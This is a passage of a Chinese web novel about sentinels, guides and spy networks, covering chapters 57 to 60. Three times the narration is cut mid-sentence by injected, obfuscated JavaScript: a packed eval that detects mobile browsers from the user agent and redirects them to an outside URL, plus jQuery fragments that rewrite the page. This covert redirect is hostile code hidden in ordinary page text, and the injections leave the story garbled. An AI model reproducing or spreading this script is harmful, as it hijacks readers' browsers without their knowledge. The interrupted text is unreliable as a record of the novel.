她想了想,还是决定与对方交流些什么,看看有没有什么切入口:“你看上去……很会照顾人。”她谨慎地斟酌着词句:“以前我在北方做卧底时,那里的军医都冰冰冷冷的,与你不一样。” 晏泽眺望着远处的斜阳,神色看上去毫不意外:“我曾经有个妹妹,和你差不多大,我母亲过世得很早,妹妹基本是我带着长大的。”似乎触碰到了什么温柔的回忆,他低下头,微微一笑。 他的面容浅笑着,深蓝眼眸却已盈满了悲伤,顾小绒有了一股不好的感知:“你的妹妹……?” “她不在了。”晏泽淡淡答道。 “我很抱歉……”顾小绒不知如何作答。 “没关系。”晏泽摇摇头,微风轻轻吹拂起他的鬓发:“那你呢?是什么时候跟随希里斯,做他的卧底的?” 直接切入主题让顾小绒反而定下了心神,她回道:“我没有父母,从小跟着叔叔长大的,我们一直住在西北的德里镇。” 面对眼前实力深不可测的向导,每一句话都要谨慎小心,这是顾小绒与组织和尾鸦早已商量好的身份背景,已通过了测谎仪与压力测试:“我分化的时候就有人找了过来,叔叔的儿子分化成了B级哨兵,所以……” 无论南方还是北方,B级这样不上不下的身份都无法得到充足的养护与资源。 “B级哨兵很难排到向导,向导素也十分昂贵,通常都优先供给A级,弟弟常常使用不到……”她的声音低了下去。 “所以……你们朝南方叛逃了?”晏泽神情平和,看上去并无批判之意,他虽身在高位,倒也不是不近人情。 见他没有起疑,顾小绒点了点头:“我替希里斯做事,他能供给我弟弟向导素还有其他的辅助药剂,叔叔一家也有经济上的补贴,日子好过了很多。” 尾鸦叮嘱她照吩咐说就行,他们为此准备了一系列可供查证的背景资料,至于他是怎么同希里斯搭上线、又是怎样在白狼的眼皮下穿针引线、瞒天过海的,顾小绒不得而知。 “……”晏泽久久不语,良久后吐出一丝叹息。 “你在北方过得还好吗?那位少将对你怎么样?”他随后问道。 符合常理的出牌模式反而让顾小绒放下心来,晏泽最想了解与解决的人当然是韩奕,她没有正面回答,而是问道:“你见过他吗?你觉得他是怎样一个人?” 似乎没有想到顾小绒会这样问,晏泽眯起眼,似乎起了兴致。随后,他回复给了顾小绒一个意料之外的答案。 “我认为,他本质上和我是一类人。”说出这句话时,晏泽露出一丝苦笑。 “哦?”顾小绒确实有些惊讶。 “那你呢?”晏泽不答反问:“你觉得韩奕是一个怎样的人?” 顾小绒沉思了片刻,才缓缓开口:“我认为,他是一个为了胜利可以牺牲一切、甚至牺牲自我的人。” 晏泽点点头:“对,但还不够。” “嗯?”顾小绒睁大眼睛,语气有些急切:“还请赐教。” 上将笑了笑:“赐教不至于,其实你已经很了解他了。”他的目光随后再次落向远方:“他出身军人世家,天资又如此优秀,良好的出身让他内敛自持,精英的教育又磨练了他的意志与品行,在后面逐渐成长的年月里,他的能力也愈加出挑,怎么想都是天之骄子。” 晏泽熟练地讲出韩奕的背景资料,他一定已经研究了无数遍,每一个字都熟稔地像是刻在脑子里。 “那……他的父亲?”出于军-队的保密原则,顾小绒是真的不知道。 “那不重要。”晏泽摇摇头一笔带过:“他的父亲与他的成就、地位和光环相比,完全不值一提。” 随后,他又叹息道:“他不像我,一直无能地活在父亲的阴影里。” 提到“父亲”,一股电流忽然穿过顾小绒的大脑,让她浑身一凛。南方军的派系起源曾经写道,南方的雇佣兵与派系是被一位名叫晏景行的将军统一的,他的姓氏与晏泽刚好对上。 “没错,就是你想的那样。”晏泽瞧着小向导一眼就能看透的神情,勾勾唇角。 被瞬间看透了想法,顾小绒的手心顿时浸出了一层冷汗。 “出类拔萃的优秀,让韩奕肩负起了庞大的责任,他身处的位置与所受的教育也强化了这一点。”晏泽继续冰冷地解剖着那位几乎不可战胜的强敌,也冰冷地解剖着自己。 “毕竟他已是北方帝国的少将,也是黑暗哨兵,无论是主动还是被动,他都扛下了这个责任,而我……”他轻笑了一声:“算是完全被动接下的责任吧。”他的面容上忽然浮现出一丝苦涩的笑意:“虽然实际上,我完全不想管晏景行留下的烂摊子。” 和煦的微风中,他像是终于将压在心底的沉郁全都发泄出来了一般。 顾小绒没有想到对方能同自己说这些,在巨大的震惊过后,她才赶紧出言安慰道:“你很优秀的,还是医生。”她看了一眼对方还没脱下的白大褂,又想起他缝合伤口时的仔细稳妥:“你一定是外科医生。” “脑外科。”晏泽无奈地笑着,摇了摇头:“我自己坚持读下来的,晏景行一心只想让我从军。” 他甚至吝啬于说出“父亲”二字,一直指名带姓地直呼他的全名。 “所以,你真的很优秀啊。”顾小绒立即发自内心地肯定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055896|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到:“每个人的志向和意愿不同,你只是不想从军而已,被逼到不想做的位置,当然会很难受。”她的声音随后低了半分:“毕竟……但凡有的选,谁愿意做战争兵器呢……” 女孩刚才那一瞬熠熠生辉的模样让晏泽有些微怔,他之前只觉得她是个坚强的人,而现在却发现她认真和着急起来竟也如此可爱,也如此温柔。 “怪不得,韩奕和希里斯都这样舍不得你。”他感慨到。 “……”女孩骤然陷入沉默,晏泽于是继续了刚才的话题。 “我之所以说还不够,是因为觉得韩奕想要追求的不止是单纯的胜利,他并不只是一个单纯的鹰派或是战争分子。”晏泽摊开手:“我认为像他这样的人,心中一定有一个理想中的世界,这个世界绝不是现在这样糟烂的模样,而他有这个能力去构建他想要的世界与秩序,战争胜利也只是通往这个理想的阶梯。” 顾小绒仔细地将对方的这段话铭刻入心,她随后问道:“那么你呢?” “我……”对方欲说还止:“我如果说我也有一样的想法,你会觉得是我标榜自己、高攀了他吗?” “怎么会。”顾小绒摇摇头,朝着对方露出一个温柔的笑容,荔枝味轻盈地释放出来,柔软无垠地融化在近处的空气里。 似乎被对方的温柔安抚,晏泽终于开口道:“你也许不知道,毕竟北方很多的历史真相都已被抹去,但是我手中有一些详细的资料,上面的记载论证了向导数量的周期变化,几乎每隔200-600年,向导的数量就会从波峰降到低谷。每次进入惨烈的低谷期时,国家都会因此陷入分裂与战争,到现在为止已经是第三次,也是规模和破坏力最大的一次。” 顾小绒平静地听完他的叙述,点了点头:“我信。”她其实早就有这样的猜测,在她读到距今1370年前那场古代的大战时,就隐隐约约有了这样猜想,历史书上将原因归于阶级问题与资源匮乏,可后面的那一部分却只是简略地一笔带过。 她随后猜到了晏泽的想法:“所以……你是想要解决这个问题,打破这个循环?” 上将深蓝的眼眸终于绽放出光芒,也许是长久的孤寂终于被理解,他的声音有些微微地松动:“这场战争,即使北方最终取得胜利,也仍旧无法挣脱出轮回的桎梏。” “所以……你的构想……”顾小绒的声音顿了顿,她感到阳光骤然消逝,仿佛整个世界坠入铅灰的阴霾中,那片海洋般深邃的眼眸骤然浮现出一丝血红,她忽然很害怕对方的回答。 晏泽将食指轻轻放在嘴唇上,他的嘴唇缓慢地一开一合,她却听不见他的声音,周遭的一切变得空灵遥远,场景瞬时扭曲溃退,宛如一曲吟唱的挽歌进入了尾声。 冰冷的森蓝色培养皿中,顾小绒静静沉睡其间,她赤裸着身子微微屈起,如同婴儿沉眠于母体,右腿断肢的切口已经愈合,只留下一道光滑浅淡的缝合口。 无数导管连接着向导的身体,其中最大的那根黑色的管子直直插入她的脑干,培养皿外的数值静静地变动着。似乎被梦境所扰,她的睫羽微微一颤,一串气泡从她所含的氧气管中呼出,又如同幻影般破灭消逝。 “怎么样,老师?”晏泽仍旧穿着那身白大褂,将数据记录完毕,他取下金丝眼镜别在了胸口,他的精神力也如同潮汐般褪去。 “不错,很优秀。”一道苍老的声音缓缓答道,一位年逾古稀的老人缓缓触摸了一下培养皿,又收回了手:“她的精神防御力很强,竟然连你都突破不了……而且,她很聪明。” 被北方搜寻了数年而不得的“德拉文”,此时就与晏泽并肩站着,他的模样、年纪与北方的情报完全无法对应,如果一定要对应上,那么此人的面目特征与年纪,分明是南方研究所总负责人盖尔。 “也真难为你,能虚构出‘德拉文’这么一个人,让北方苦追了这么多年。”老者摇摇头,感慨道。 “小手段罢了。”晏泽淡淡回复道:“也得感谢北方输送的资源,难以想象他们握有这样优质的向导。” “你真觉得这个孩子是北方的卧底吗?”德拉文,或者说盖尔这样问道。 “都不重要。”晏泽的目光冰冷而沉静:“无论她曾经忠于谁,现在她都只属于我。” 58. 第五十八章 来电显示:「天鹰」 通知「尾鸦」:因「云鸮」持续失联,「天鹰」替代其位,越级派遣任务。 这里是来自组织的最高权限指令:继续执行任务,保护「银雀」人身安全、获取情报。 晦暗的光影里,男人看着波动的频段重新归于沉寂,两个月漫长的失联与等待后,他终于再次收到了组织的信息。上线「云鸮」果然出事了,如果他没有记错,「天鹰」是「云鸮」的上线,同时也是组织的最高指挥者。 他的指尖悬空在冰冷的屏幕上,短暂地停留了数秒,最终才缓慢地输入了两个字:「收到」。 上一次中部与东部的双线战争,对南北双方造成的损害与消耗都很大,因为致幻剂暂时还未完全恢复供应,南方一时也无法再做出大规模进攻。在这个短暂的间隙里,韩奕得以抽出时间回到北方,换维多利亚上校与S级哨兵言韶去往维赛克。 少将此行的目的地不是中央公会,而是关押沈骁的德蒙特监狱,军事法庭已开启了对他的正式审判,因而想要再次探监,要走的流程更加繁琐。 韩奕从战机上下来时,北方的天空已收去了最后一丝晦暗的微光,陷入一片浓重的沉黑。机场只有曼琳前来接应,当然旁边还有她的向导。韩奕还没下机时,便感觉到了周围密布的防守,从对方隐藏的信息素痕迹,能辨认出这里布置在暗处的哨兵不少。 少将敏锐的视觉四下一扫,便大致看出了对方的潜伏方位与布局等级,从数量和阵容可以判断,眼前的布置应该是针对S级+的最高应对等级。深黑的眼眸随即收回了视线,将目光落在了曼琳的身上,自上一次他与沈骁的谈话过后,曼琳已经对他起了疑心。 他引以为傲的学生、那个一直以来追随、仰赖着他的小姑娘,终于长大了。 韩奕微微眯起眼,露出一个几乎称得上欣慰的神情,他只身一人、从容地跟随曼琳一起走向了问询室。 曼琳碧色的眸子晦暗低沉,她闻到了老师身上淡淡的血腥味,想来他的身上还有没能愈合的伤口。 金色的条码上覆盖了一层绿色的光环,显示链接通道已被成功打开,铁证在前,今晚也确实到了和盘托出、坦诚相待的时候。 沈骁沉默地接过了链接,未做任何抵抗,他将右眼贴了上去,任由光芒扫过瞳孔,信息库经过短短几秒的检索,迅速确定了他的权限: 行动代号:【赛拉菲尔计划】 身份代号:「云鸮」 已确认。 文件被立即获取,只是开到了一半便停止了下来,权限还需要另一位负责人,也就是那位汇集了所有线索的重点人物:「尾鸦」。 “我说过了,我真的不是「尾鸦」。”沈骁语气淡然。 “这是您诸多精妙谎言里为数不多的真话。”曼琳也面不改色地回敬道,实际上在刚才的那一刻,她紧张到几乎汗湿了整个后背,还好最终的情况没有她预想得那么坏,如果一切都是我方安插的间谍行动,那么沈骁也洗清了他的嫌疑。 松了一大口气的哨兵总负责人语调不自觉地松泛了许多,她随后问道:“您是「尾鸦」的上线?” “可以这么说,但严格来讲,我和他是平级,所以我只有一半的权限,另一半需要他来。”沈骁终于卸下了所有的伪装,他视线一变,直视着眼前的韩奕:“我该说的都说了,到你了。” 曼琳于是将条码重新放到了韩奕面前,她神色复杂地看着自己的老师,收回的指尖微微发颤。 韩奕同样没有任何犹豫地将瞳孔扫描了进去,链接条码迅速确定了他的权限,遗憾的是,那并不是沈骁与曼琳想要的结果,微光中弹出的是另一份文件: 行动代号:【希尔瓦计划】 身份代号:「维加」 已确认。 很明显,这是两套截然不同的秘密行动,曼琳与沈骁双双愕然,在两双眼睛的惊疑与怔愣里,韩奕再次将资料切换到了「尾鸦」的权限,虹膜扫描的结果显示身份错误。 少将把红色的界面推到了曼琳和沈骁面前,让他们俩能看得更加清楚。 “让你们失望了,我也不是「尾鸦」。”韩奕的目光平静无澜,他随后说道:“我确实有在南方布置间谍网络,不过与你的不是一套。” 沈骁沉默了良久,最终脱力地靠到了座椅上,他伸出尚且还能自由活动的左手,捏了捏自己的眉心。曼琳心绪复杂,这样的结果让她说不上沉重,也说不上宽心。除此之外,曾经对长官生出的怀疑也让她有些愧疚,她是以最坏的情况、即沈骁和韩奕都是敌方势力这样的猜想做出的部署,没有想到真相竟南辕北辙。 韩奕与沈骁做为同一届坚持最久的哨兵与向导,看似并肩作战,实则各自为营,耗费了大量的精力与时间彼此猜忌掣肘,最终却仍旧殊途同归。 其实从韩奕清算向导阵营时,她就应该感觉到,中央公会中的哨兵与向导一直以来都是两股势力,无法全身心信任身边的战友,也是他们如今陷入被动的主要原因。这番曲折的试探、博弈与谎言,让曼琳只觉得唏嘘。 “我这边都是哨兵,说说你的吧。”韩奕放下了条码,将视线重新落回了沈骁身上:“什么时候开始的?” “这个任务执行很多年了,我也是后面才加入的。”沈骁看上去十分疲惫,他也不再隐瞒:“南方的黑暗向导实验比你们想象的更久,遗憾的是我们的任务也不算成功,还是落到了如今这样的地步。” “看出来了。”韩奕神色平静,像是早已有所预料:“‘蝴蝶’艾丽西娅是一次失败的任务。” “……”提到艾丽西娅的名字,沈骁的面容浮现出一丝痛楚,他沉默了好一会儿才轻微地点头。 “任务的时间线和预备案都在这里,艾丽西娅其实是任务晚期才被派去的,她原本是最有希望靠近黑暗向导实验核心的间谍,也带回了很多关键的信息。可是没有多久她就失联了,我们想要将她收回,但失去了她的坐标,从那以后就再也定位不到她的位置。”沈骁语调沉重,他垂下眼眸,任凭冰冷的灯光在面容上投射出大片阴翳。 “什么?”这个事实冲击了曼琳已经形成的意识:“您的意思是,艾丽西娅去的最晚,却出现得最早?” 沈骁点点头:“据我们探知到的信息,第一个存在的‘黑暗向导’应该是2号‘水母’,这个信息还是艾丽西娅提供的。至于黑暗向导出现的顺序……也不排除是艾丽西娅暴露了间谍的身份,南方就刚好把她当做了第一个实验品。” “……”室内陷入一片沉重的寂静。 “她的力量峰值太过了,超过了可以承受的范围,她剧烈的波动和不稳定性会很快导致衰变,这是很明显的。”长期的关押使沈骁的下颌变得瘦削苍白,他的眼里只留下疲惫:“对于南方来说,她只是第一个不太成功的实验品,而后他们就调整了参数,所以后续出现的黑暗向导状态都更加平稳。” “艾丽西娅的事故发生后,我的上线命令我继续任务,前期我还可以通过卡罗疗养院进行输送,但数量太多之后暴露的可能性也逐渐变大。战场上消失的向导有两位是我安排的间谍,她们在南方有组织的接应,还有一位则完全是意料之外,她是被南方抢走的,毕竟南方也确实有活捉我方向导的计划……” “随后这一部分也被你注意到了……”沈骁的声音逐渐变低,他的神色变得有些艰难:“我知道你也有自己的间谍体系,熟悉输送环节,所以顾小绒……只能通过一些不太寻常的路线,才能躲过你的眼睛。” 在明净的白色桌子的另一端,少将修长的手紧紧握住,筋络近乎狠戾地暴起,每一寸骨节都用力到发白。 “顾小绒从一开始就是计划的一部分。”沈骁避开了对方几乎快要绽出血的眼睛:“为了今日任务的执行,她在南方的身份与安排已经持续了很多年,这才得到了希里斯的信任……” “你让她假装南方间谍反叛,有没有想过我可能会杀了她?”韩奕站了起来,椅子朝后发出一声短促的哀鸣,黑暗哨兵的信息素自上而下磅礴而来、直抵咽喉,让眼前的A级向导与哨兵几乎同时生理性地瑟缩了一下。 “有想过,但我也没有办法,只能靠赌。”许是心中有愧,沈骁垂下目光,不敢与韩奕对视:“顾小绒的事,是我对不起你。” “南方的黑暗向导实验持续了多久?”韩奕克制住自己的情绪,咬牙发问道。 “至少20年,甚至30年。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一片晶莹的碎雪从哨兵面前缓缓滑落,坠入无声的黑夜。这一段话包含的信息量太大,曼琳面容冷肃、眉间紧蹙。 “ 致幻剂是为了让她们达到 ‘逸散’状态而辅助使用的药剂,通过身体与精神双重的濒死状态,将 ‘她们’的精神力从肉-体中剥离,再通过 ‘通道’扩散,与哨兵产生连接,这就是 ‘黑暗向导’诞生的过程。”沈骁的话语轻而缓慢,仿佛如此便能中和这些锋利字句中淌下的血。 “很少有向导能从 ‘逸散’的过程中存活,因为这个阶段她们的精神力都会被药剂催化到极致失控的边缘,除非拥有极强的意志力,目前能活过这个阶段的向导不足2%……”沈骁的目光也沉入那片深夜。 “什么叫 ‘通道’?”曼琳敏锐地抓住了重点,难道这就是布雷塔妮曾经所说的“超脱于肉-体的更强载体”? “这就是计划的核心目的。”沈骁回答道:“目前我们也不清楚什么是 ‘通道’,只能猜测那是一种定位与传输的装置,南方有一个秘密实验基地, ‘通道’应该就在那里,要终止这一切,就一定要找到实验基地。只是任务执行了这么多年,还是没能探明位置……”沈骁的手不由地紧握成拳,几乎咬牙切齿:“对方的防守太过严密,无法渗透……” 回应他的,只有无声的黑暗,与窗外簌簌而下的雪。 “目前,南方拥有的几位向导,力量仍旧不足以到达 ‘黑暗向导’的完全态, ‘她们’仍旧没有足够的力量控制住S级哨兵。所以我们仍旧有机会,只要我们还握有S级,就能在目前的阶段中同对方制衡。” 曼琳的耳尖微微一动,她敏锐地捕捉到了那句“目前的阶段”。 “我有种预感,南方距离真正的 ‘黑暗向导’已经很近,几乎只有一步之遥,我们剩下的时间不多了……”沈骁紧紧咬住下颌:“所以任务还要继续,必须赶在敌方做出真正的 ‘黑暗向导’之前终止这一切……” “你苦心拖延那么久,就是为了告诉我这个?”韩奕转过身来,目光朝着沈骁刺去。 “……是。”被看穿的向导颓然地呼出一口气,韩奕没有再说话,只是朝着门外走去。这一次换做沈骁急了,因为一只手还被拷在椅子上,他无法站起来,手铐与椅子碰撞出尖锐的声响:“你要做什么?韩奕。” “去终结她的任务,接她回来。”少将头也不回。 “我被控制了2个月,权限应该已经被冻结了,而且就算我同意下发命令,「天鹰」也不会答应。”沈骁疾声道。 “我没有和你商量。”韩奕终于顿住了步伐:“也没有和他商量。” 59. 第五十九章 “韩奕,你什么时候将个人感情凌驾于帝国之上了?!”沈骁的声音不由拔高,他用不可置信的眼神望着对方:“顾小绒走得比艾丽西娅更远,她是这么多年来最大的可能性!我们距离摧毁黑暗向导实验基地也只有一步之遥!” “我只是在收拾你们的烂摊子,在她变成第二个‘蝴蝶’之前终止这一切。”少将深黑的眼眸不见一丝光亮,锋利的唇线轻轻启合,吐出渺然的白烟:“这是我最后一次容忍你动我的人,沈骁,给我听明白。” 沈骁无可奈何地低下头去,指尖深深扣在了扶手上,良久后才妥协般地松懈了力气:“真正的间谍还在公会里。” “这个不必费心,在你和顾小绒演的这段时间里,他的尾巴已经露出来很多了。”韩奕冷黑的双眸杀意尽显。 “调整好状态,准备出狱。”他将手搭在门上,只给沈骁留下一道背影:“我已下令让退役与二线的人员回归公会,你的哨兵重泽也在名单上。” “我们需要你的力量。”语毕韩奕推门而出,与曼琳一起消失在空旷的甬道尽头。 韩奕与曼琳一前一后走出监狱大楼,黑夜中再次飘飞起雪,能明显看见外围的哨兵们仍旧在戒严,曼琳朝着她们比了个“危机解除”的手势,她同时也在身后朝着诺兰摆了摆手,让一脸担忧的向导暂时不要上前。周遭霎时响起了窸窸窣窣的声音,甚至还有毫不掩饰的脚步与枪械收纳声。 “今晚总共安排了多少人?”韩奕步伐不停,声音中带有淡淡的疲惫,他看上去毫无情绪起伏,仿佛自己只是一个旁观者。 “50人……”曼琳艰难地答道,几乎将整个头都埋了下去。她确实有想过一旦老师是南方安插的间谍,就立即将他拿下。可此时真相大白,还被当事人直接询问,她尴尬到几乎要找条地缝钻进去。 少将闻言微微蹙眉:“瓦尔塔那最新的战报没有看?” “呃……”即使是最不关心前线战况的人,也早已被黑暗哨兵的头版头条全方位轰炸,韩奕在前线总共斩杀敌方高智能狂化哨兵68人,这个数字很长时间都大写加粗地放在捷报的第一条。更何况早在他还是S级的时候,就已经在萨特斯完成“百人斩”了。 而现在,老师面容严厉,很明显是在责备她没有做好足够的准备。 “我是不是曾经教过你,谋定而后动。”韩奕继续说道:“如果我确实是间谍,而你安排的阵容不足以控制我,结果会怎么样?” “是……”曼琳垂着头,虽然以现在的情况,她能拼拼凑凑弄出50个哨兵到这边来已经很不容易。 “以后行事要更加主动缜密,不要一直被动等待。”少将停下步伐,他们此时已走到了停车场:“他们怎么回去都安排好了吗?” “嗯。”曼琳点点头,因为是秘密任务,她早已用花样百出的假任务将这50号人套了出来,他们今晚便会根据各自不同的安排去往不同的目的地,再分批次回到公会,以掩人耳目。 韩奕终于露出了稍许满意的神色,随后沉默地拉开了车门。 虽然曼琳在之前就对顾小绒的真实身份有所猜测,可是真到了真相大白的时候,她还是有些控制不住情绪。 那些药物注射、拷问、负伤、死里逃生以及同伴的怒骂与指责,她到底是怎么熬过来的,她都不敢想。韩奕的身上还有一股淡淡的血腥味,想来是有伤口还未愈合,如果是顾小绒看见了,她会多心痛呢。 “那个……长官。”曼琳艰难地收起了眼角浸湿的微光,声音有些低哑:“请您及时处理伤口,注意身体。” 如果她还在的话,一定会这样说吧。 少将已坐进驾驶室,系上了安全带,他今晚没有带任何随从,车灯在车门关闭后随即熄灭,他便独自一人沉入无边的黑暗里。仪表盘冰冷的蓝光亮起,韩奕坚硬冰冷的黑眸直视着前方,神情仍旧看不出分毫变化:“你现在是中央公会哨兵总负责人,不要让任何人看出你的情绪,猜到你的想法。” “是……”曼琳应道,抬手行了一个军礼,在寂静中目睹长官驾车离去。 韩奕此次回中央公会,没有提前告知任何人,连这辆正在驾驶的登记车辆也挂在部下的名下。 夜色已经很深,无垠的黑色穹隆笼罩着天地,穿过幽深的密林与落雪,仿佛从旷远的世界边缘重新回到原本应有的轨迹。 熟悉的住所已久未回归,柔和的白光被打开,微小的灰尘飞掠而起,轻如羽翼地飘浮在空中。少将没有允许部下前来打扫住所,浅灰色的遮罩严实地拢在床与沙发上,还是离开时的模样。 灯光被打开后,玄关处的小水池也开始重新运作,清冽舒适的流水声淡淡地盈满了室内。 时间已到了凌晨3点,韩奕一手扯开了床上的遮罩,从积满薄灰的柜子里拿出医疗箱。独自一人时,他的动作终于可以放缓些许,缓慢地脱下左侧衣袖,哨兵的动作停顿了数秒。 一道极长的切口从胸口蔓延到腹部,比之更严重的是左肋下的贯穿伤,哨兵卸下了最后的腰封与铠甲,白色纱布上已浸满了暗红的血。 太长时间地身着战服,还是不可避免地挤压到了伤口。 浓郁的血腥味霎时遍布了房间,韩奕冷汗岑岑,闭眼缓了许久才伸手去打开了医疗箱。修长的指尖快速拆开了已经崩裂染血的丝线与纱布,漫长的十年服役,他本该对处理自身伤口十分熟练。 血珠一滴滴顺着腰线流淌下来,滴落到地面,今晚的处理过程不太顺利,缝合的时候指尖总是不听使唤地打滑,针头在血肉模糊的伤口里横冲直撞,他终于感觉到了一股更深切的痛苦,只是这股疼痛不是来自正在缝合与消毒的伤口,而是来自胸腔深处。 韩奕不得不暂停下动作,哨兵喉头滚动、浑身浸湿,冷汗与血汇聚,一股股淌过身体。 他向来不喜欢被别人碰身体,因而自己处理伤口已经习以为常,这个必备的技能是什么时候开始生疏的,他不能再想下去…… 世人将黑暗哨兵奉上神坛,做为帝国最高等级的战争兵器,他本不应该流露出疲惫与痛苦。 最后的针脚艰难地停住,给狰狞的伤口完成了收尾,血已在地上汇聚成一小滩,哨兵拿起纱布,开始了最后的包扎。 伤处仍旧细微地颤抖着,做为可以控制所有感官与知觉的完全体哨兵,他已许久不曾体会到如此失控的、锐利的疼痛,此时那股痛意仿佛要贯穿他的心脏,将他的胸腔自上而下地剖开。 哨兵用最后的力气完成了所有的步骤,他将冰冷的医疗箱推开,一步一步地缓慢走向尘封已久的衣柜。落雪渐止,一缕清澈的月光透过窗帘照射其上,哨兵打开柜门,从柜体的深处拿出了一条灰色的围巾。 圆乎乎的知更鸟图案俏皮可爱、栩栩如生,像极了她的模样。他将那条围巾搂进怀里,如同搂进一片轻盈柔软的云,围巾上还留有极淡的荔枝味。 他拥抱着它,如同重新拥抱着她的身体、紧贴着她的鬓发,月色朦胧,一如他最爱她的那一晚。 哨兵微微颤抖着,当痛苦攀登到顶峰时,那颗无坚不摧的心终于碎裂。裂痕自上而下,将他一分为二,视线被剧痛的猩红填满,直到他的世界天塌地陷,再无一丝声息。 黑夜笼罩的维塞克前线,雪亮的白光与巡逻车正昼夜不停地交替行进。 因为行程安排得过于紧张,言韶和华峥直到凌晨才到达停机坪,这里已被打造成了中部的空军基地,只短短半年的时间,机场就被扩建到了以往3倍以上的规模。单论军职,言韶的职级只到上尉,可只需要“S级哨兵”这一个身份,就足够空军总负责人和公会向导总负责人深夜前来迎接。 维多利亚上校与布雷塔妮少校正并肩而立,二人的长发在凛风中猎猎作响,她们身旁还跟随着几位核心人员,包括重伤初愈的莉莉、以及才从阿尔塞拉回来的正羽及程浩。 “今天时间太晚了,先休息吧。”到底布雷塔妮是公会体系的人,对于S级哨兵的安排她先开了口。 “好的,这边已经安排妥当。”维多利亚随即答道,她客气地对言韶和华峥比了个“请”的手势。长官如此高规格的接待让华峥有些诚惶诚恐,言韶是一语不发的性子,“谢长官费心安排、长官辛苦了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055898|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这之类的客套话也只能让华峥来说。 “莉莉、正羽,刚好你们都在。”寒暄完毕,布雷塔妮随即说道:“既然言韶来了,中部前线的哨兵管理权限就交给他吧,你们是一直在一起服役的,希望以后仍然能保持默契与水准。” “是,长官。”连同布雷塔妮自己的哨兵艾瑞克在内,众人纷纷答道。 毕竟现在,维多利亚和布雷塔妮都是韩奕的心腹,她们的指令也就是少将的指令,无需再有过多掣肘与顾虑。两位长官才刚一走,几个年轻人就立即抱在了一起。 “我说正羽你是不是又瘦了!”华峥兴奋地抱着哨兵转圈,程浩一脸没眼看地挪开了视线。 “程浩,你把你的肉拿些给正羽吧,你的脸是不是又圆了?” “别扒拉我……”娃娃脸向导面露嫌弃地避开了华峥热情的拥抱,莉莉的笑声银铃般地响起。 “你们公会氛围真好。”回去的路上,维多利亚给出了肯定。 “多谢上校。”布雷塔妮客气地回复着,她随后问道:“前线信号基站的进程怎么样了?”两人都是替韩奕效力的,目标与核心利益一致,守住中部战线是功成名就的机会,互相信任与合作这一块自然也水到渠成。 “目前双城的情况还不稳定,暂时只能用配备在战机和机甲上的移动雷达进行探测。”维多利亚回复道:“虽然范围是小了点,我会安排多一点的机甲和战机装配雷达感应的,剩余的部分也可以联系陆军多加配合。” 被少将严厉整顿后,目前陆军也几乎在完全在他的控制范围内,情况比之前方便了很多。 “麻烦您了。”布雷塔妮略一颔首,双方就此分开,各自休息。 维多利亚并不追问布雷塔妮为什么紧盯着信号基站的事,布雷塔妮也并未解释,这是军队中默认的行事规则。士兵只需要听从命令即可,既然布雷塔妮有极高权限的指令,维多利亚便选择了直接遵从,布雷塔妮既然肯找她帮忙,那么这份立功的可能性便分了她一半,她何乐不为。 向导总负责人静静行走在冷黑的深夜里,强光在她的身后缓慢地四下扫射,她下意识调整了身后哨兵的感官,保护着对方的视觉,却仍旧与他保持了几米的距离。艾瑞克很熟悉她现在的状态,他选择不去打扰,只是默默跟着她的身后。 布雷塔妮确实有一份极高权限的命令,需要她动用空军与陆军的协助,不过她没有告诉维多利亚,这份命令并不是韩奕下的,在她的系统里,这份命令有另一种格式: 来电显示:「天鹰」 通知「蓝鸢」:继续监控、收取以下频段信号,任务重要层级为S+。 代号为「蓝鸢」的向导总负责人心里腾升出一丝隐隐的不安,距离她到维塞克前线,时间已过去了几个月,这个频段仍旧没有信号传来。也许他们需要再朝着前线推进,将利刃真正刺入南方腹部,她抬头对着天边的一弯冷月,如是想到。 晨曦隐藏在清冷的天际,还没能透露出一丝微光,一道高挑的身影便站在了实验室森冷的出口。在冷蓝金属的通道与铁门前,白狼的背影凌厉挺拔,如同利刃出鞘、寒芒逼人。 驻守在此的士兵与研究员们面面相觑,双方对峙了大约10分钟,晏泽才从中缓步而出。 “有什么事吗?希里斯。”上将的神色还带有一丝困倦,他甚至没来得及扣好扣子,只是将一件袍子披在外面。 “有你这样做的吗?”哨兵毫不留情地打断了对方,他的眉眼暗藏着汹涌的风暴,白烟自起合的唇线中飘散而出,消失在苍蓝的天际:“趁我在前线负伤直接抢人?” “她受了伤,我给她顺带处理了下伤口。”晏泽摊开手,露出一个仍旧客套的笑容。白狼冷绿的眸子仍旧一瞬不瞬地望着对方,没有半分松动的迹象。 “别着急,马上把人还你。”他朝着后方比了个手势,手下立即会意,朝着后方去了。 “不过希里斯,我记得我们的合约内容是拿下维塞克和阿维隆。”晏泽重新转过身来,那双幽蓝的眼眸微微眯起:“这次失败的突袭后,你没有什么别的打算吗?” 60. 第六十章 希里斯的下颌明显消瘦了,整张脸也泛着重伤初愈后的苍白,他看上去不想搭理对方,径直绕过他朝着里面走去。 